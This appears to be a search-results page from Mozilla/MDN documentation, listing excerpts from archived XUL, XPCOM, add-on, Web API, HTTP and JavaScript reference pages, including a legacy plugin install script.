var plid = "@myplugin.com/myplugin,version=5.3"; var version = "5.3.0.0"; var mimetype = "application/x-my-plugin"; var suffix = "my"; var suffix_description = "my plugin files"; var company_name = "mypluginco"; var plugin_description = "my exemplary plugin mine all mine"; // registry constant paths // these will be used when the win32 registry keys are written var hkey_local_machine = "hkey_local_machine"; var hkey_current_user = "hkey_current_user"; var reg_moz_path = "software\\mozillaplugins"; // my own error code in case secondary installation fails var nosecondaryinstall = 1; // error return codes need some memory var err; // error return codes when we try and install to the current browser var errblock1; // error return codes when we try and do a secondary ...
...elped make this install script var exceptionoccurederror = -4711; var winregisnullerror = -4712; var invalidrootkeyerror = -4713; var registrykeynotwritableerror = -4714; //initinstall block //the installation is initialized here -- if we fail here, cancel the installation // initinstall is quite an overloaded method, but i have invoked it here with three strings // which are globally defined err = initinstall(software_name, plid, version); if (err != 0) { // call initinstall again in case illegal characters in plid err = initinstall(software_name, software_name, version); if (err != 0) cancelinstall(err); } //addfiles to current browser block var pluginsfolder = getfolder("plugins"); //verify disk space if(verifydiskspace(pluginsfolder, plugin_size...
...ectory can be avoided for xpt files errblock1 = addfile (plid, version, component_file, pluginsfolder, null); if (errblock1!=0) { logcomment("could not add " + component_file + " to " + pluginsfolder + ":" + errblock1); cancelinstall(errblock1); } } else { logcomment("cancelling current browser install due to lack of space..."); cancellinstall(); } // secondary install block, which sets up plugins and xpt in another location in addition to the current browser errblock2 = createsecondaryinstall(); // performinstall block, in which error conditions from previous blocks are checked.
...And 9 more matches
accesskey - Archive of obsolete content
« xul reference home attribute of: button, checkbox, caption, description, label, listitem, menu, menuitem, menulist, tab, radio, toolbarbutton, textbox accesskey type: character this should be set to a character that is used as a shortcut key.
... this should be one of the characters that appears in the label attribute for the element.
... on non-macintosh platforms, the character on the element's label matching the accesskey is underlined.
...And 9 more matches
Getting File Information - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
... there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
... the nsifile object has a number of useful attributes which may be used to retrieve information about a file.
...And 9 more matches
MenuModification - Archive of obsolete content
modifying a menu menus have a number of methods which may be used to add and remove items.
...note how in this example, the menu does not have a child menupopup.
...in this case, 0 is supplied as the index, which means before the first item.
...And 9 more matches
Special per-platform menu considerations - Archive of obsolete content
for instance, the edit menu always starts with the undo command if such a feature is available in the application, followed by redo, cut, copy, paste, and so forth.
... some menu items have specific common labels or locations where certain menu items would go that differ on each platform.
... for instance, on windows, the menu item which exits the application is labeled "exit" and is normally placed at the end of the file menu.
...And 9 more matches
Actions - Archive of obsolete content
« previousnext » the content to generate in a template is specified using the <xul:action> element which should either be the next sibling of the <xul:query> element (if no rules need be specified) or be a direct child of a <xul:rule> element.
...this content will be copied for each matching result (though see below for an exception) and inserted into the document.
...in this case, a button will be created for each result.
...And 9 more matches
Building Menus With Templates - Archive of obsolete content
this applies to menus on menubars, submenus, as well as menu-type buttons such as those with a type attribute set to menu.
...here is an example using an xml source: <button type="menu" datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"/> <action> <menupopup> <menuitem uri="?" label="?name"/> </menupopup> </action> </template> </button> <button label="children" oncommand="alert(this.previoussibling.childnodes.length);"/> in this example, the datasources attribute has been placed on a menu-type button.
... the query generates a list of the person tags within the datasource and outputs the action body for each one.
...And 9 more matches
Containment Properties - Archive of obsolete content
« previousnext » so far, we've seen how the simple query syntax can generate results from the children of an rdf container.
... however, the simple query syntax may also iterate over a single predicate pointing out of a resource, rather than use the children.
...this attribute is useful when the rdf data is structured in such a way that an rdf container isn't used.
...And 9 more matches
Code Samples - Archive of obsolete content
launch a file on your computer to launch a file on your computer, use code like this.
... change the first line to specify the file that you want to launch.
... you can launch an executable file or some other file that your operating system knows how to open.
...And 9 more matches
Adding HTML Elements - Archive of obsolete content
xmlns:html="http://www.w3.org/1999/xhtml" this is a declaration of html much like the one we used to declare xul.
...here is an example as it might be added to the find file window: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> then, you can use html tags as you would normally, keeping in mind the following: you must add a html: prefix to the beginning of each tag, assuming you declared the html namespace as above.
... using html elements you can use any html tag although some such as head and body are not really useful.
...And 9 more matches
Using nsIXULAppInfo - Archive of obsolete content
starting with mozilla/xulrunner 1.8, there now is a way to find out which application, application version, and gecko version your code is running on.
...this is not useful for scripts on webpages, which should continue using the navigator object when it's not possible to rely on feature-detection.
... note that while firefox 1.5, thunderbird 1.5, and xulrunner 1.8-based applications support nsixulappinfo, older applications, such as firefox and thunderbird 1.0, do not support it.
...And 9 more matches
menuseparator - Archive of obsolete content
accesskey type: character this should be set to a character that is used as a shortcut key.
... this should be one of the characters that appears in the label attribute for the element.
... allowevents type: boolean if true, events are passed to children of the element.
...And 9 more matches
Threats - Archive of obsolete content
threats may involve intentional actors (e.g., attacker who wants to access information on a server) or unintentional actors (e.g., administrator who forgets to disable user accounts of a former employee.) threats can be local, such as a disgruntled employee, or remote, such as an attacker in another geographical area.
... a threat source is the cause of a threat, such as a hostile cyber or physical attack, a human error of omission or commission, a failure of organization-controlled hardware or software, or other failure beyond the control of the organization.
... network traffic typically passes through intermediate computers, such as routers, or is carried over unsecured networks, such as wireless hotspots.
...And 9 more matches
Using SSH to connect to CVS - Archive of obsolete content
do file a server operations bug in bugzilla and attach yourid_dsa.pub to the bug.
...if you wish to keep your previous pserver trees, you'll need to update the root files in each cvs subdirectory in your tree.
...this technique was taken from eric engstrom's site, but the instructions have been re-written specifically for mozilla.
...And 9 more matches
CSS - Archive of obsolete content
ArchiveWebCSS
obsolete css features -moz-bindingthe -moz-binding css property is used by mozilla-based applications to attach an xbl binding to a dom element.-moz-border-bottom-colorsin mozilla applications like firefox, the -moz-border-bottom-colors css property sets a list of colors for the bottom border.-moz-border-left-colorsin mozilla applications like firefox, the -moz-border-left-colors css property sets a list of colors for the left border.-moz-border-right-colorsin mozilla applications like firefox, the -moz-border-right-colors css property sets a list of colors for the right border.-moz-border-top-colorsin mozilla applications like firefox, the -moz-border-top-colors css property sets a list of colors for the top border.-moz-stack-sizing-moz-stack-sizing is an extended css property.
... normally, a <xul:stack> will change its size so that all of its child elements are completely visible.
... for example, moving a child of the stack far to the right will widen the stack so the child remains visible.-moz-text-blinkthe -moz-text-blink non-standard mozilla css extension specifies the blink mode.-moz-window-shadowthe -moz-window-shadow css property specifies whether a window will have a shadow.
...And 9 more matches
Array.observe() - Archive of obsolete content
the array.observe() method was used for asynchronously observing changes to arrays, similar to object.observe() for objects.
... it provided a stream of changes in order of occurrence.
... callback the function called each time changes are made, with the following argument: changes an array of objects each representing a change.
...And 9 more matches
Object.observe() - Archive of obsolete content
the object.observe() method was used for asynchronously observing the changes to an object.
... it provided a stream of changes in the order in which they occur.
... callback the function called each time changes are made, with the following argument: changes an array of objects each representing a change.
...And 9 more matches
Parsing microformats in JavaScript - Archive of obsolete content
this article examines the generic microformat parsing api, which handles the heavy lifting of pulling data out of a microformat.
... normalizeddate = microformats.parser.datetimegetter(propnode, parentnode); parameters propnode the dom node to check.
...this includes looking at thing such as abbr, img and alt, area and alt, and value excerpting.
...And 9 more matches
Asynchronous - MDN Web Docs Glossary: Definitions of Web-related terms
the term asynchronous refers to two or more objects or events not existing or happening at the same time (or multiple related things happening without waiting for the previous one to complete).
... in computing, the word "asynchronous" is used in two major contexts.
... networking and communications asynchronous communication is a method of exchanging messages between two or more parties in which each party receives and processes messages whenever it's convenient or possible to do so, rather than doing so immediately upon receipt.
...And 9 more matches
Asynchronous JavaScript - Learn web development
in this module we take a look at asynchronous javascript, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server.
... get started prerequisites asynchronous javascript is a fairly advanced topic, and you are advised to work through javascript first steps and javascript building blocks modules before attempting this.
... if you are not familiar with the concept of asynchronous programming, you should definitely start with the general asynchronous programming concepts article in this module.
...And 9 more matches
HTMLIFrameElement.sendTouchEvent()
the sendtouchevent() method of the htmliframeelement allows you to fake a touch event and send it to the browser <iframe>'s content.
... note: this method is available for touch-enabled devices only.
... syntax instanceofhtmliframeelement.sendtouchevent(type, x, y, rx, ry, rotationangles, forces, count, modifiers); returns void.
...And 9 more matches
imgICache
image/public/imgicache.idlscriptable please add a summary to this article.
... inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) as of firefox 18, there is no longer a single image cache.
...use the following snippet to obtain a relevant image cache for a given document or channel (where relevantdocument is a document object that contains images you care about, or relevantchannel is an nsichannel that is used for fetching images): var tools = components.classes["@mozilla.org/image/tools;1"].getservice(components.interfaces.imgitools); var cache = tools.getimgcachefordocument(relevantdocument); // alternatively, tools.getimgcacheforchannel(relevantchannel) if there is no relevant document or channel, null may be passed, but this will cause any image cache requests to use the permanent storage cache (ie.
...And 9 more matches
nsICacheEntryInfo
netwerk/cache/nsicachevisitor.idlscriptable this interface provides information about a cache entry.
... inherits from: nsisupports last changed in gecko 1.7 method overview boolean isstreambased(); attributes attribute type description clientid string get the client id associated with this cache entry.
... datasize unsigned long get the cache entry data size.
...And 9 more matches
nsICharsetResolver
intl/chardet/public/nsicharsetresolver.idlscriptable please add a summary to this article.
... inherits from: nsisupports last changed in gecko 1.7 method overview void notifyresolvedcharset(in acstring charset, in nsisupports closure); acstring requestcharset(in nsiwebnavigation awebnavigation, in nsichannel achannel, out boolean awantcharset, out nsisupports aclosure); methods notifyresolvedcharset() some implementations may request that they be notified when the charset is actually detected.
... void notifyresolvedcharset( in acstring charset, in nsisupports closure ); parameters charset the detected charset.
...And 9 more matches
nsIUpdateChecker
toolkit/mozapps/update/nsiupdateservice.idlscriptable this interface describes an object that knows how to check for software updates.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void checkforupdates(in nsiupdatechecklistener listener, in boolean force); void stopchecking(in unsigned short duration); constants constant value description current_check 1 constant for the stopchecking() method indicating that only the current update check should be stopped.
... current_session 2 constant for the stopchecking() method indicating that all update checks during the current session should be stopped.
...And 9 more matches
Use watchpoints - Firefox Developer Tools
in the firefox debugger, this information can be provided by watchpoints.
... by setting a watchpoint on the property, rather than a breakpoint at a particular line, you can discover where that access occurs.
... there are three types of watchpoints: get, set, and get or set.
...And 9 more matches
Broadcast Channel API - Web APIs
the broadcast channel api allows basic communication between browsing contexts (that is, windows, tabs, frames, or iframes) and workers on the same origin.
... by creating a broadcastchannel object, you can receive any messages that are posted to it.
... you don't have to maintain a reference to the frames or workers you wish to communicate with: they can “subscribe” to a particular channel by constructing their own broadcastchannel with the same name, and have bi-directional communication between all of them.
...And 9 more matches
Cache.keys() - Web APIs
WebAPICachekeys
the keys() method of the cache interface returns a promise that resolves to an array of cache keys.
... syntax cache.keys(request, {options}).then(function(keys) { // do something with your array of requests }); parameters request optional the request want to return, if a specific key is desired.
... options optional an object whose properties control how matching is done in the keys operation.
...And 9 more matches
Navigator.msLaunchUri() - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the mslaunchuri() method is a microsoft extension to the navigator interface, which starts a service or app, such as an email client, that handles a given protocol.
... the uniform resource identifier (uri) contains the protocol for the default service or app, such as mailto://test@contoso.com.
...And 9 more matches
Node.firstChild - Web APIs
WebAPINodefirstChild
the node.firstchild read-only property returns the node's first child in the tree, or null if the node has no children.
... if the node is a document, it returns the first node in the list of its direct children.
... syntax var childnode = node.firstchild; example this example demonstrates the use of firstchild and how whitespace nodes might interfere with using this property.
...And 9 more matches
Node.removeChild() - Web APIs
WebAPINoderemoveChild
the node.removechild() method removes a child node from the dom and returns the removed node.
... syntax var oldchild = node.removechild(child); or node.removechild(child); child is the child node to be removed from the dom.
... node is the parent node of child.
...And 9 more matches
ParentNode.replaceChildren() - Web APIs
the parentnode.replacechildren() method replaces the existing children of a node with a specified new set of children.
... syntax // [throws, unscopable] parentnode.replacechildren(...nodesordomstrings) // returns undefined parameters nodesordomstrings a set of node or domstring objects to replace the parentnode's existing children with.
... if no replacement objects are specified, then the parentnode is emptied of all child nodes.
...And 9 more matches
RTCDataChannel.close() - Web APIs
the rtcdatachannel.close() method closes the rtcdatachannel.
... either peer is permitted to call this method to initiate closure of the channel.
... closure of the data channel is not instantaneous.
...And 9 more matches
RTCPeerConnection: iceconnectionstatechange event - Web APIs
an iceconnectionstatechange event is sent to an rtcpeerconnection object each time the ice connection state changes during the negotiation process.
... bubbles no cancelable no interface event event handler property oniceconnectionstatechange one common task performed by the iceconnectionstatechange event listener: to trigger ice restart when the state changes to failed.
... usage notes a successful connection attempt will typically involve the state starting at new, then transitioning through checking, then connected, and finally completed.
...And 9 more matches
SpeechRecognitionEvent - Web APIs
the speechrecognitionevent interface of the web speech api represents the event object for the result and nomatch events, and contains all the data associated with an interim or final speech recognition result.
... properties speechrecognitionevent also inherits properties from its parent interface, event.
... speechrecognitionevent.emma read only returns an extensible multimodal annotation markup language (emma) — xml — representation of the result.
...And 9 more matches
Touch.clientX - Web APIs
WebAPITouchclientX
the touch.clientx read-only property returns the x coordinate of the touch point relative to the viewport, not including any scroll offset.
... syntax touchitem.clientx; return value a long representing the x coordinate of the touch point relative to the viewport, not including any scroll offset.
... example this example illustrates using the touch object's touch.clientx and touch.clienty properties.
...And 9 more matches
Touch.clientY - Web APIs
WebAPITouchclientY
the touch.clienty read-only property returns the y coordinate of the touch point relative to the browser's viewport, not including any scroll offset.
... syntax touchitem.clienty; return value a long value representing the y coordinate of the touch point relative to the viewport, not including any scroll offset.
... example this example illustrates using the touch object's touch.clientx and touch.clienty properties.
...And 9 more matches
WebGLRenderingContext.checkFramebufferStatus() - Web APIs
the webglrenderingcontext.checkframebufferstatus() method of the webgl api returns the completeness status of the webglframebuffer object.
... syntax glenum gl.checkframebufferstatus(target); parameters target a glenum specifying the binding point (target).
... gl.framebuffer_incomplete_attachment: the attachment types are mismatched or not all framebuffer attachment points are framebuffer attachment complete.
...And 9 more matches
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
the function is passed the channel property of an xmlhttprequest to extract the following information: was the connection secure?
... the channel property becomes available only after the request is sent and the connection was established, that is, on readystate loaded, interactive or completed.
... // adapted from the patch for moztcpsocket error reporting (bug 861196).
...And 9 more matches
Accept-Charset - HTTP
the accept-charset request http header advertises which character encodings the client understands.
... using content negotiation, the server selects one of the encodings, uses it, and informs the client of its choice within the content-type response header, usually in a charset= parameter.
... browsers usually don't send this header, as the default value for each resource is usually correct and transmitting it would allow fingerprinting.
...And 9 more matches
If-None-Match - HTTP
the if-none-match http request header makes the request conditional.
... for get and head methods, the server will send back the requested resource, with a 200 status, only if it doesn't have an etag matching the given ones.
... for other methods, the request will be processed only if the eventually existing resource's etag doesn't match any of the values listed.
...And 9 more matches
PATCH - HTTP
WebHTTPMethodsPATCH
the http patch request method applies partial modifications to a resource.
... patch is somewhat analogous to the "update" concept found in crud (in general, http is different than crud, and the two should not be confused).
... a patch request is considered a set of instructions on how to modify a resource.
...And 9 more matches
Map.prototype.forEach() - JavaScript
the foreach() method executes a provided function once per each key/value pair in the map object, in insertion order.
... syntax mymap.foreach(callback([value][,key][,map])[, thisarg]) parameters callback function to execute for each entry of mymap.
... it takes the following arguments: value optional value of each iteration.
...And 9 more matches
Set.prototype.forEach() - JavaScript
the foreach() method executes a provided function once for each value in the set object, in insertion order.
... syntax myset.foreach(callback[, thisarg]) parameters callback function to execute for each element, taking three arguments: currentvalue, currentkey the current element being processed in the set.
... set the set object which foreach() was called upon.
...And 9 more matches
Mapping the width and height attributes of media container elements to their aspect-ratio - Web media technologies
this article explains a change that has occured in the way sizes are worked out on web documents when width and height attributes are set on them.
... this change means that the aspect ratio of the image is calculated by the browser early on and can then be used to correct the size needed to display the image before it has loaded, if css has been applied that causes problems with its display size.
... jank problems when loading images in the olden days of web development, it was always seen as a good practice to add width and height attributes to your html <img> elements, so that when browsers first loaded the page, they could put a correctly-sized placeholder box in the layout for each image to appear in when it finally loads.
...And 9 more matches
content/worker - Archive of obsolete content
used in the internal implementation of sdk modules which use content scripts to interact with web content.
... it exports the worker trait, which enables content scripts and the add-on code to exchange messages using the port or postmessage apis.
...but unlike "web workers," these workers run in the same process as web content and browser chrome, so code within workers can block the ui.
...And 8 more matches
Creating Reusable Modules - Archive of obsolete content
this makes the design of the add-on easier to understand and provides some encapsulation as each module will export only what it chooses to, so you can change the internals of the module without breaking its users.
...the documentation for that interface includes an example which we can adapt like this: var {cc, ci} = require("chrome"); function promptforfile() { const nsifilepicker = ci.nsifilepicker; var fp = cc["@mozilla.org/filepicker;1"] .createinstance(nsifilepicker); var window = require("sdk/window/utils").getmostrecentbrowserwindow(); fp.init(window, "select a file", nsifilepicker.modeopen); fp.appendfilters(nsifilepicker.filterall | nsif...
...we can adapt it like this: var {cc, ci} = require("chrome"); // return the two-digit hexadecimal code for a byte function tohexstring(charcode) { return ("0" + charcode.tostring(16)).slice(-2); } function md5file(path) { var f = cc["@mozilla.org/file/local;1"] .createinstance(ci.nsilocalfile); f.initwithpath(path); var istream = cc["@mozilla.org/network/file-input-stream;1"] .createinstance(ci.nsifileinputstream);...
...And 8 more matches
Dialogs and Prompts - Archive of obsolete content
see working with windows in chrome code for introductory information and more discussion and examples.
...this will: handle a few keyboard events (enter/esc and more), which is good for keyboard accessibility.
... <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="..." title="..." buttons="accept,cancel" ondialogaccept="return onaccept();" ondialogcancel="return oncancel();"> <script src="chrome://..."/> <!-- content --> </dialog> you need to implement onaccept and oncancel functions in your script.
...And 8 more matches
Forms related code snippets - Archive of obsolete content
date picker (before implementing it in a working environment, please read the note about the const statement compatibility) <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>datepicker example - mdn</title> <script type="text/javascript"> /*\ |*| |*| datepicker example mdndeveloper network |*| |*| https://developer.mozilla.org/docs/code_snippets/forms |*| https://developer.mozilla.org/user:fusionchess |*| |*| this snippet is released under the gnu public license, version 3 or later.
...month.id = sprefs + "-decr-month-" + nid; oincrmonth.id = sprefs + "-incr-month-" + nid; oincryear.id = sprefs + "-incr-year-" + nid; odecryear.onmousedown = oincryear.onmousedown = odecrmonth.onmousedown = oincrmonth.onmousedown = onheadclick; for (var nthid = 0; nthid < 7; nthid++) { oth = document.createelement("th"); oth.innerhtml = sdays[nthid]; ohrow.appendchild(oth); } othead.appendchild(ohrow); ocapt.appendchild(odecryear); ocapt.appendchild(odecrmonth); ocapt.appendchild(oincryear); ocapt.appendchild(oincrmonth); ocapt.appendchild(this.display); this.container.appendchild(ocapt); this.container.appendchild(othead); this.current.setdate(1); this.writedays(); otarget.onclick = function () { if (otable.parentnode) ...
...{ otable.parentnode.removechild(otable); return; } otable.style.zindex = nzindex++; otable.style.position = "absolute"; otable.style.left = otarget.offsetleft + "px"; otable.style.top = (otarget.offsettop + otarget.offsetheight) + "px"; otarget.parentnode.insertbefore(otable, otarget); }; ainstances.push(this); } datepicker.prototype.writedays = function () { const nendblanks = (this.current.getday() + bzeroismonday * 6) % 7, nend = amonthlengths[this.current.getmonth()] + nendblanks, ntotal = nend + ((7 - nend % 7) % 7); var otd, otr; if (this.otbody) { this.container.removechild(this.otbody); } this.otbody = document.createelement("tbody"); for (var nday, oday, niter = 0; n...
...And 8 more matches
Common Pitfalls - Archive of obsolete content
these are the sort of things that super-review should be catching for code that goes into the tree; avoiding these to start with saves super-reviewers a lot of effort.
...it's important to create the uri correctly, and then check that it's secure to load.
... this will shield you from loading <tt>javascript:</tt> or <tt>chrome:</tt> uris when you shouldn't.
...And 8 more matches
Extensions support in SeaMonkey 2 - Archive of obsolete content
differences as compared to other toolkit/-based applications you need to overlay/open different chrome urls as compared to firefox.
... some urls are listed below: url in firefox url in seamonkey overlays chrome://browser/content/browser.xul chrome://navigator/content/navigator.xul main browser window chrome://browser/content/pageinfo/pageinfo.xul chrome://navigator/content/pageinfo/pageinfo.xul page info window chrome://browser/content/preferences/permissions.xul chrome://communicator/content/permis...onsmanager.xul permissions manager dialog urls added in 2.1 url in firefox url in seamonkey chrome://browser/content/bookmarks/bookmarkspanel.xul chrome://communicator/content/bookmarks/bm-panel.xul chrome://browser/content/places/places.xul ch...
...rome://communicator/content/bookma...rksmanager.xul thunderbird uses mostly the same chrome urls for overlaying as seamonkey.
...And 8 more matches
Add-ons - Archive of obsolete content
archived add-ons documentation.
...you can use various standard web technologies: javascript, html, and css, to create the add-ons.
... the sdk includes javascript apis, which you can use to create add-ons and tools for creating, running, testing, and packaging add-ons.
...And 8 more matches
Creating a status bar extension - Archive of obsolete content
you can find a more up-to-date tutorial in the xul school tutorial the essentials of an extension.
... target application information it's also necessary to include information that identifies the application or applications in which your extension is designed to run.
... minversion the oldest version of the target application on which the extension is supported.
...And 8 more matches
Content states and the style system - Archive of obsolete content
content states are what gecko uses to implement the various state-dependent in css (examples would be :hover, :active, :focus, :target, :checked).
... we will focus on describing how changes in content state are handled.
... generally, whenever a node's content state changes, style has to be reresolved (recomputed) for that node and all of its descendants.
...And 8 more matches
Code snippets - Archive of obsolete content
all of the in this page must be executed in a chrome-privileged console.
... to access a chrome-privileged console, open an about page (like about:about) then open a web console via the web developer menu.
... .queryinterface(components.interfaces.nsidocshelltreeitem) .roottreeitem .queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindow); // obtain a reference to sync's tabs "engine." let tabsengine = weave.service.enginemanager.get("tabs"); // iterate over each client having data.
...And 8 more matches
Microsummary topics - Archive of obsolete content
orial: var generatortext = ' \ <?xml version="1.0" encoding="utf-8"?> \ <generator xmlns="http://www.mozilla.org/microsummaries/0.1" \ name="firefox download count" \ uri="urn:{835daeb3-6760-47fa-8f4f-8e4fdea1fb16}"> \ <template> \ <transform xmlns="http://www.w3.org/1999/xsl/transform" version="1.0"> \ <output method="text"/> \ <template match="/"> \ <value-of select="id(\'download-count\')"/> \ <text> fx downloads</text> \ </template> \ </transform> \ </template> \ <pages> <include>http://(www\.)?spreadfirefox\.com/(index\.php)?</include> </pages> </generator> \ '; var domparser = components.classes["@mozilla.org/xmlextras/domparser;1"].
... getservice(components.interfaces.nsimicrosummaryservice); var generator = microsummaryservice.installgenerator(generatordoc); the service installs the generator by serializing its xml to a file in the user's profile directory and adding the generator to the service's in-memory generator cache.
...note: when web sites install generators via window.sidebar.addmicrosummarygenerator(), firefox sets their uri attribute to urn:source:sourceurl, where sourceurl is the url from which the generator was downloaded.
...And 8 more matches
Static Analysis for Windows Code under Linux - Archive of obsolete content
this document will describe how to run mozilla static check for windows code under linux platform by creating a cross-compiler with dehydra support for mingw.
...dehydra requires patching gcc such that it can load plugins as shared libraries: # prepare a directory mkdir $home/dehydra cd $home/dehydra #obtain gcc 4.3 sources wget ftp://mirrors.kernel.org/gnu/gcc/gcc...-4.3.0.tar.bz2 tar jxvf gcc-4.3.0.tar.bz2 # get the patches which enable plugins cd gcc-4.3.0/ # create an hg repository.
... this makes it easy to apply patches, they can be applied manually hg init .
...And 8 more matches
Windows stub installer - Archive of obsolete content
build your entire mozilla tree, which should build the stub installer in the setup directory as well.
... adding a package involves a few steps: add a section named for your <component> to the packages-win manifest that describes which files from dist belong to which module.
...checkin the <component>.jst to the: <http://lxr.mozilla.org/seamonkey/sou...ckager/windows> directory.
...And 8 more matches
XPJS Components Proposal - Archive of obsolete content
xpjs components is a (cheesy) name for a system to support xpcom components written in javascript.
...xpconnect provides the mechanisms for communication between native and js xpcom components, but it does not provide all of the infrastructure to register and instantiate js components outside of the limitations of the browser window.
... the overriding principle is to make this work as much like native components as possible.
...And 8 more matches
Moving, Copying and Deleting Files - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
... there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
... there are several methods of the nsifile object which may be used to move and copy files on disk.
...And 8 more matches
MenuButtons - Archive of obsolete content
menu buttons menus may be attached to buttons in several ways.
...however a segment of the button displays an arrow which, when pressed, opens a menu.
... in either case, a menupopup element should be placed as a direct child of the button.
...And 8 more matches
RDF Query Syntax - Archive of obsolete content
each statement is placed as a direct child of the <query> element within the template.
... </rule> </template> </vbox> this query has two statements, each specified with a different tag.
... the template won't generate anything yet since we still need to fill in the content to be generated which goes in the missing part inside the rule.
...And 8 more matches
Creating Dialogs - Archive of obsolete content
it displays a dialog instead of a window, which implies that it is asking something of the user.
... var somefile=document.getelementbyid('enterfile').value; window.opendialog("chrome://findfile/content/showdetails.xul","showmore", "chrome",somefile); in this example the dialog showdetails.xul is displayed.
... it's passed one argument, somefile, which was taken from the value of an element with the id enterfile.
...And 8 more matches
Groupboxes - Archive of obsolete content
« previousnext » this section describes a way to include elements into groups groupboxes the groupbox element is used to group related xul elements together, much like the html fieldset element is used to group html elements.
... the groupbox is displayed in a special way—usually with a beveled border and a caption, although you can change the appearance using css.
... you can create a caption for your groupbox by inserting a caption element as the first child.
...And 8 more matches
Using the standard theme - Archive of obsolete content
you can either provide a complete custom styling, but most of the time you also want to be able to reuse the standard theme (also called the "global skin") of the base application for non-custom elements, transparently with regard to which theme the user has currently chosen.
...meaning, some internal default will be applied, which does by no means correspond to the standard theme (the theme currently chosen by the user in the theme selector), or even the default theme delivered with your the base application.
... applying the standard theme in order to use the theme currently chosen by the user of the base application (the so called "global skin"), you have to add the following line to your xul file: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> this imports the styles found in the <tt>global/skin</tt> chrome directory and will make the standard xul widgets of your application use the selected chosen theme.
...And 8 more matches
command - Archive of obsolete content
you attach the code to the command using the oncommand attribute.
...if you include the script chrome://global/content/globaloverlay.js in your window, you can use the function godocommand function to invoke the command.
... using this function has the advantage that the command will be sent to the part of the ui which will respond to it.
...And 8 more matches
label - Archive of obsolete content
ArchiveMozillaXULlabel
attributes accesskey, control, crop, disabled, href, value properties accesskey, accessibletype, control, crop, disabled, value style classes header, indent, monospace, plain, small-margin, text-link examples <label value="email address" control="email"/> <textbox id="email"/> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
... this should be one of the characters that appears in the label attribute for the element.
... control type: id this attribute specifies the id of the element with which the label is associated.
...And 8 more matches
notificationbox - Archive of obsolete content
the notification element is used for each notification, and will be created automatically for each item.
... each notification will slide in and out as needed.
... the notification box is a vertical box which may have children.
...And 8 more matches
XULRunner 2.0 Release Notes - Archive of obsolete content
it provides facilities for launching standalone xul applications and embedding apis which can be used to render web pages within native and java applications.
...current version the current version of xulrunner 2.0 is 2.0, matching firefox 4.0 detailed release notes can be found here.
... system requirements before installing, make sure your computer meets the system requirements (nb: that page will change for firefox 4 shipping).
...And 8 more matches
Application Update - Archive of obsolete content
this article will hopefully explain how to update your xulrunner application using the same method that firefox, thunderbird, songbird, and chatzilla use.
... getting started you will need the following utility scripts from http://lxr.mozilla.org/mozilla/sourc...ate-packaging/ (or local source of xulrunner) common.sh make_full_update.sh you will need mar / mar.exe to build a complete update patch.
...pref("app.update.auto", true); // defines how the application update service notifies the user about updates: // // aum set to: minor releases: major releases: // 0 download no prompt download no prompt // 1 download no prompt download no prompt if no incompatibilities // 2 download no prompt prompt // // see chart in nsupdateservice.js.in for more details // pref("app.update.mode", 1); // if set to true, the update service will present no ui for any event.
...And 8 more matches
2006-10-06 - Archive of obsolete content
preed followed up and said that the checker was run and "build is go for launch".
...this launches a (misguided?) discussion and comparison of sunbird and lightning to outlook.
... extension compatibility for firefox 2 chris hofmann reminds about the push to have extensions work with ff2.
...And 8 more matches
Old Proxy API - Archive of obsolete content
there may also be large incompatibilities between implementations and the behavior may change in the future.
...it is subject to change anytime.
... introduction proxies are objects for which the programmer has to define the semantics in javascript.
...And 8 more matches
Troubleshooting XForms Forms - Archive of obsolete content
it checks your form for a lot of errors.
... always check the javascript console (tools, javascript console) for errors.
... troubleshooting check the file type is the page parsed as an xhtml document?
...And 8 more matches
RDF in Fifty Words or Less - Archive of obsolete content
to a mozilla developer, it means that the rdf data model (the "graph") can be used as a mechanism for integrating and organizing internet resources.
...right now, most web browsers let you organize your bookmarks hierarchically intofolders.
... each bookmark is apointer to a web page called a uri (uniform resource identifier).
...And 8 more matches
Cacheable - MDN Web Docs Glossary: Definitions of Web-related terms
a cacheable response is an http response that can be cached, that is stored to be retrieved and used later, saving a new request to the server.
... not all http responses can be cached, these are the following constraints for an http response to be cached: the method used in the request is itself cacheable, that is either a get or a head method.
... a response to a post or patch request can also be cached if freshness is indicated and the content-location header is set, but this is rarely implemented.
...And 8 more matches
WebChannel.jsm
the webchannel.jsm javascript code module provides an abstraction that uses the message manager and custom events apis to create a two-way communication channel between chrome and content code for specific origins (using a specific origin passed to the constructor or a lookup with nsipermissionmanager while also ensuring the scheme is https).
... components.utils.import("resource://gre/modules/webchannel.jsm"); constructor webchannel(string webchannelid, nsiuri originorpermission); 2nd argument is a valid origin that should be part of requests for this channel.
... webchannel(string webchannelid, string originorpermission); 2nd argument is a permission for which the permission manager will be checked to determine if the request is allowed.
...And 8 more matches
Cached Monitors
this chapter describes the functions you use when you work with cached monitors.
